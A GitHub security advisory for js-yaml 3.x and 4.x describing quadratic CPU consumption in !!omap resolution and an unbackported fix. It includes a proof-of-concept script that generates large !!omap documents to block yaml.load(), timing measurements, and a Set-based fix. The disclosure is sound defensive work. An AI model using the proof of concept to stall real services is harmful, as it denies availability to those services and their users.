GHSA-5p4m-2wfm-xmqj: JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported
Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x) Summary resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution O(n²) in the number of entries.
Published Aug 6, 2026
Affected packages
js-yaml
- Ecosystem
- npm
- Affected
- >= 4.0.0, < 4.3.1
- Fixed in
- 4.3.1
- Check
npm ls js-yaml
js-yaml
- Ecosystem
- npm
- Affected
- >= 3.0.0, < 3.15.1
- Fixed in
- 3.15.1
- Check
npm ls js-yaml
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)
Summary
resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution O(n²) in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside yaml.load(), giving a denial of service against any consumer that parses untrusted YAML.
!!omap is registered in the default schema (lib/schema/default.js → require('../type/omap')), so a plain yaml.load(untrustedInput) with no options is affected — no custom schema or non-default configuration is required.
This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.
Affected versions
| Line | Latest tested | Status | | 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` | | 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` | | 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) |
Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.
Details
lib/type/omap.js (js-yaml 4.3.0):
if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return falseobjectKeys grows by one element per entry, and Array.prototype.indexOf is a linear scan, so resolving an n-entry !!omap performs roughly 1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously inside yaml.load(), blocking the event loop for its whole duration.
The 5.x line already solves exactly this by tracking seen keys in a Set (src/tag/sequence/omap.ts):
if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)Proof of concept
// poc.js — node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';
for (const n of [10000, 20000, 40000, 80000]) {
const d = doc(n), t = Date.now();
yaml.load(d); // default schema, no options
console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}Measured (node v20.20.2, default heap, no flags)
js-yaml 4.3.0
n=10000 bytes=137787 load=54ms
n=20000 bytes=297787 load=169ms
n=40000 bytes=617787 load=646ms
n=80000 bytes=1257787 load=2607msjs-yaml 3.15.0
n=10000 bytes=137787 load=53ms
n=20000 bytes=297787 load=166ms
n=40000 bytes=617787 load=641ms
n=80000 bytes=1257787 load=2567msRuntime grows by a factor of ~4 for each doubling of n, which is the signature of O(n²) (linear growth would be ~2×).
Scaling further: a 2.48 MB document with 150,000 entries blocked yaml.load() for 10.8 seconds.
Impact
Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.
Suggested severity: consistent with CVE-2026-59870 (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.
Suggested fix
Mirror the 5.x fix — replace the linear scan with a Set:
// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A maxOmapLength-style cap would also work, but the Set matches what 5.x already ships and requires no new option.
References
- CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1
lib/type/omap.js(3.x, 4.x) — the affected resolverlib/schema/default.js— registers!!omapin the default schema
Discovery
Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the current releases of each line, not on the version originally scanned.
Credited to 0xsharz.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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